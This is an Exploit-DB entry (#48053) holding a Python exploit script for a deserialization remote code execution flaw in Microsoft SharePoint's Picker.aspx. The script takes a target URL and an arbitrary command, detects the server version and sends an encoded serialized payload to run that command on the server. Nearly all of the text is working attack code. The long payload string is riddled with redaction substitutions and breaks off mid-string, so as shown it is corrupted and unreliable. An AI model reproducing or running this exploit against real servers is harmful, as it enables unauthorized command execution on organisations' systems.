Exploit-DB #48053
Description: Microsoft SharePoint - Deserialization Remote Code Execution
Type: remote
Platform: windows
Date: 2020-01-21
Author: Voulnet

Exploit:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import sys
from xml.sax.saxutils import escape
from lxml import html
import codecs
import readline
from clint.arguments import Args
import signal

def serialize_command(cmd):
    total = ""
    for x in cmd:
        a = codecs.encode(x,"utf-16be")
        b = codecs.encode(a,"hex").decode('ascii')
        total += b[::-1]
    return total

def deserialize_command(cmd):
    length = len(cmd)
    s = ""
    for i in range(0,length,4):
        character = cmd[i]+cmd[i+1]+cmd[i+2]+cmd[i+3]
        character = character[::-1]
        c_hex = codecs.decode(character,"hex")
        a = codecs.decode(c_hex,"utf-16be")
        s += a
		
    return s

#######################################    
signal.signal(signal.SIGINT, signal.default_int_handler)
args = Args()

myargs = dict(args.grouped)
if '--help' in myargs or '-h' in myargs:
    help = """
        desharialize options:
        -h --help         - This menu
        -u --url          - The Sharepoint Picker.aspx URL ( e.g. http://localhost/_layouts/15/Picker.aspx )
        -c --command      - The command to run on the target Sharepoint server.
        -f --file         - The file containing the command to run (Useful for commands with multi-lines or characters that need escaping)
        """
    print (help)
    exit(0)
    
url = ''
cmd = ''
filename = ''
if '--url' in myargs or '-u' in myargs:
    try:
        url = myargs['--url'][0]
    except:
        url = myargs['-u'][0]
   
if '--command' in myargs or '-c' in myargs:
    if '--file' in myargs or '-f' in myargs:
        print("Can't use both command and file options at the same time!")
        exit(0)
    try:
        cmd = myargs['--command'][0]
    except:
        cmd = myargs['-c'][0]

if '--file' in myargs or '-f' in myargs:
    try:
        filename = myargs['--file'][0]
    except:
        filename = myargs['-f'][0]
    file = open(filename,mode='r')
    cmd = file.read()
    file.close()
    

sharepoint2019and2016 = "?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=16.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c";
sharepoint2013 = "?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=15.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c";
sharepoint2010 = "?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=14.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c";
            
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3

if PY3:
    string_types = str,
    raw_input = input
else:
    string_types = basestring,

if url == '':
    url = raw_input("Enter the SharePoint Server URL ending with Picker.aspx:")

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
}

firstcall = requests.get(url,headers=headers)
spheader = firstcall.headers.get('MicrosoftSharePointTeamServices','16')

spheader = int(spheader.split('.')[0])

payload = "__bpzzzz[PII_REDACTED][PII_REDACTED]d600e[PII_REDACTED]047001600e[PII_REDACTED][PII_REDACTED][PII_REDACTED]03700e2009400e[PII_REDACTED]02700e6001600c600e[PII_REDACTED]007001600e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0b500b[PII_REDACTED][PII_REDACTED]600d600e[PII_REDACTED]0e6004600f[PII_REDACTED]0e200d[PII_REDACTED]0b[PII_REDACTED]0e[PII_REDACTED]0d600c[PII_REDACTED][PII_REDACTED]6002700c[PII_REDACTED][PII_REDACTED]7005600e[PII_REDACTED]047009600f600e[PII_REDACTED]01600d[PII_REDACTED]0f6002700b600c[PII_REDACTED][PII_REDACTED]7009600f600e600d3004300e2000300e2000300e2000300c[PII_REDACTED]05700c[PII_REDACTED]027005600d300e[PII_REDACTED][PII_REDACTED]600c600c[PII_REDACTED]057002600c[PII_REDACTED]0b[PII_REDACTED]04500f600b6005600e600d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]3005300d500c200b[PII_REDACTED][PII_REDACTED]600d600e[PII_REDACTED]0e6004600f[PII_REDACTED]0e[PII_REDACTED]047001600e200f4002600a[PII_REDACTED][PII_REDACTED][PII_REDACTED]005002700f[PII_REDACTED][PII_REDACTED]700c[PII_REDACTED][PII_REDACTED]7005600e[PII_REDACTED]047009600f600e[PII_REDACTED]01600d[PII_REDACTED]0f6002700b600c[PII_REDACTED][PII_REDACTED]7009600f600e600d3004300e2000300e2000300e2000300c[PII_REDACTED]05700c[PII_REDACTED]027005600d300e[PII_REDACTED][PII_REDACTED]600c600c[PII_REDACTED]057002600c[PII_REDACTED]0b[PII_REDACTED]04500f600b6005600e600d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]3005300d500d500c[PII_REDACTED][PII_REDACTED]7005600d600e[PII_REDACTED]047001600e[PII_REDACTED][PII_REDACTED][PII_REDACTED]03700c[PII_REDACTED][PII_REDACTED]7009600f600e600d3004300e2000300e2000300e2000300c[PII_REDACTED]05700c[PII_REDACTED]027005600d300e[PII_REDACTED][PII_REDACTED]600c600c[PII_REDACTED]057002600c[PII_REDACTED]0b[PII_REDACTED]04500f600b6005600e600d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]3009300a300c300f3008700d600c[PII_REDACTED][PII_REDACTED]7009600f600e600d[PII_REDACTED]0e[PII_REDACTED]002005600e6003600f[PII_REDACTED]0e6007600d[PII_REDACTED]047006600d[PII_REDACTED]02200f300e300d000a000c[PII_REDACTED]007001600e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]700f[PII_REDACTED]01600d600c[PII_REDACTED][PII_REDACTED]6002700f4002600a[PII_REDACTED][PII_REDACTED][PII_REDACTED]005002700f[PII_REDACTED][PII_REDACTED][PII_REDACTED]0d600c600e6003700a[PII_REDACTED]09600d[PII_REDACTED][PII_REDACTED]700a300f200f[PII_REDACTED]07700e[PII_REDACTED]0e200f[PII_REDACTED]0f[PII_REDACTED]003001300f2008500d400c[PII_REDACTED]086005600d6001600d2009600e[PII_REDACTED]01600e[PII_REDACTED][PII_REDACTED]700d600c600e6003700a[PII_REDACTED]04600d[PII_REDACTED][PII_REDACTED]700a300f200f[PII_REDACTED]07700e[PII_REDACTED]0e200f[PII_REDACTED]0f[PII_REDACTED]003001300f2008500d400c[PII_REDACTED]086005600d[PII_REDACTED]0e300d000a[PII_REDACTED]0c[PII_REDACTED]0f600a[PII_REDACTED][PII_REDACTED][PII_REDACTED]0f[PII_REDACTED][PII_REDACTED]7000300e300d000a[PII_REDACTED]002000200c300f4002600a[PII_REDACTED]047009400e[PII_REDACTED]01600e[PII_REDACTED][PII_REDACTED]7009600a[PII_REDACTED]007005600d[PII_REDACTED]01600d600c[PII_REDACTED][PII_REDACTED][PII_REDACTED]00200f200e300d000a[PII_REDACTED]002000200c300d[PII_REDACTED]08600f6004600e4001600d6005600e[PII_REDACTED][PII_REDACTED]600c300f200d[PII_REDACTED]08600f6004600e4001600d6005600e300d000a[PII_REDACTED]002000200c300d[PII_REDACTED]08600f6004600